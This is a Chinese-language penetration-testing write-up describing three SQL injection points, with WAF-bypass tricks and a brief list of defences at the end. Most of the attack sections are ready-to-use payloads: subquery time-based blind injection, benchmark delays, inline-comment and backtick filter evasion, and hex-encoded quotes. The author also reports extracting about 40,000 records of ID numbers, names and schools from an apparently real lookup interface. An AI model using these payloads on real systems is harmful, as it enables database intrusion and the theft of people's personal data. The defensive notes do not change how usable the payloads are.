挖洞姿势:这个SQL注入有点东西
字数 1979 2025-09-01 11:26:11
SQL注入高级技巧与绕过方法详解
一、SQL注入基础回顾
SQL注入是通过将恶意SQL代码插入到应用的输入参数中,从而在后台数据库执行非预期操作的攻击方式。本文介绍了几种高级SQL注入技巧和WAF绕过方法。
二、第一处注入:日期格式注入与时间盲注
注入点分析
- 注入点位于日期参数:
date_format('2025-06-19 00:00:00','%Y-%m-%d %H:%M:%S') - 单引号测试:添加单引号导致报错,确认存在注入漏洞
初始尝试
- 尝试闭合:
2025-06-19 00:00:00')# - 尝试报错注入:
2025-06-19 00:00:00') and extractvalue(1,concat(0x0a,(select user()),0x0a))# - 完整参数闭合:
2025-06-19 00:00:00','%Y-%m-%d %H:%M:%S') and extractvalue(1,concat(0x0a,(select user()),0x0a))#
问题发现
- 网站返回的是框架自定义错误,而非数据库原生错误
- 报错注入无法获取有效信息
时间盲注解决方案
- 常规时间盲注失败:
if(ascii(substr(user(),1,1))>1,sleep(6),0) - 原因:WHERE条件可能为假,导致后续语句不执行
子查询时间盲注
select count(1) from (
select username from admin as t join news as u
where 1=2 and (
select 0 from (
select if(ascii(substr(user(),1,1))>1,sleep(6),1)
)x
)
)TOTAL#
关键点解析:
- 子查询优先执行,不受外层条件真假影响
if(ascii(substr(user(),1,1))>1,sleep(6),1)是核心盲注逻辑select 0 from (...)x是子查询包装技巧
最终Payload
2025-06-19 00:00:00','%Y-%m-%d %H:%M:%S') and (select 0 from (select if(ascii(substr(user(),1,1))>1,sleep(6),1))x))TOTAL#
三、第二处注入:严格过滤下的绕过技巧
注入环境
- 注入点:orderType参数
- 过滤严格:常见函数和绕过方法基本被过滤
绕过技巧组合
- 权限绕过:直接修改返回包(false改为true)
- 函数绕过:
- 使用
Y(point(56.7,53.34))作为恒真条件 - 使用
benchmark()替代sleep()进行时间延迟
- 使用
- 空格绕过:使用
/**/替代空格 - 内联注释绕过:
/*!55555*/用于绕过特定函数检测- 超大版本号确保始终执行
- 字符串处理函数组合:
right(left(user(),1),1)增加复杂度
完整Payload分析
orderType=1%20or%20Y(point(56.7,53.34))%20or%20(select/**/0/**/from/**/(select/**/if((ascii(right(left(user/*!55555*/(),1),1))!=1),(select/*!55555555555555555*/benchmark(511111111,1)),1))x)
关键组件:
Y(point(56.7,53.34))- 地理函数作为恒真条件/*!55555*/- 内联注释绕过user()检测benchmark(511111111,1)- 高强度延迟函数- 子查询结构确保优先执行
四、第三处注入:身份证查询接口注入
注入环境
- 注入点:tj参数(身份证查询接口)
- 原始逻辑:
sfzh='123123' and xm='12331'
初始测试
- 闭合构造:
tj=sfzh=1#→sfzh=1 and (注入语句)# - 逻辑运算符绕过:
and/or被过滤- 使用
||替代:|| 1=1#(502错误) vs|| 1=2#(返回内容)
报错注入绕过
- 常见报错函数被过滤:
extractvalue(),floor(),updatexml(),exp() - 反引号绕过:
extractvalue(1, concat(0x0a, version()))#`concat()也使用反引号绕过
权限查询绕过
user()被过滤 → 使用current_user替代
数据提取技巧
- 模糊查询:
sfzh like '1%' - 单引号绕过:使用16进制编码
'2%'→0x3225
- 成功获取敏感数据:身份证、姓名、单位、学校等(约4w+条记录)
五、关键技巧总结
1. 时间盲注进阶
- 子查询优先执行特性
- 不受外层条件真假影响的结构
benchmark()与sleep()的选择
2. 严格过滤绕过
- 内联注释技巧(
/*!55555*/) - 非常用函数利用(
Y(point())) - 反引号分隔关键字
- 16进制编码绕过引号过滤
3. 报错注入优化
- 多种报错函数备选方案
- 函数名分隔技巧
- 错误信息提取方法
4. 数据提取策略
- 模糊查询构造
- 大规模数据分批获取
- 敏感字段定位方法
六、防御建议
- 对所有输入参数进行严格类型检查和过滤
- 使用参数化查询(prepared statements)
- 最小权限原则,限制数据库账户权限
- 自定义错误信息,避免泄露数据库细节
- 多层面WAF防护,包括但不限于:
- 常见注入模式识别
- 异常函数调用检测
- 注释和编码变体识别
- 定期安全审计和渗透测试
通过掌握这些高级注入技巧,安全人员可以更全面地评估系统安全性,同时开发人员也能更好地理解如何构建更安全的应用程序。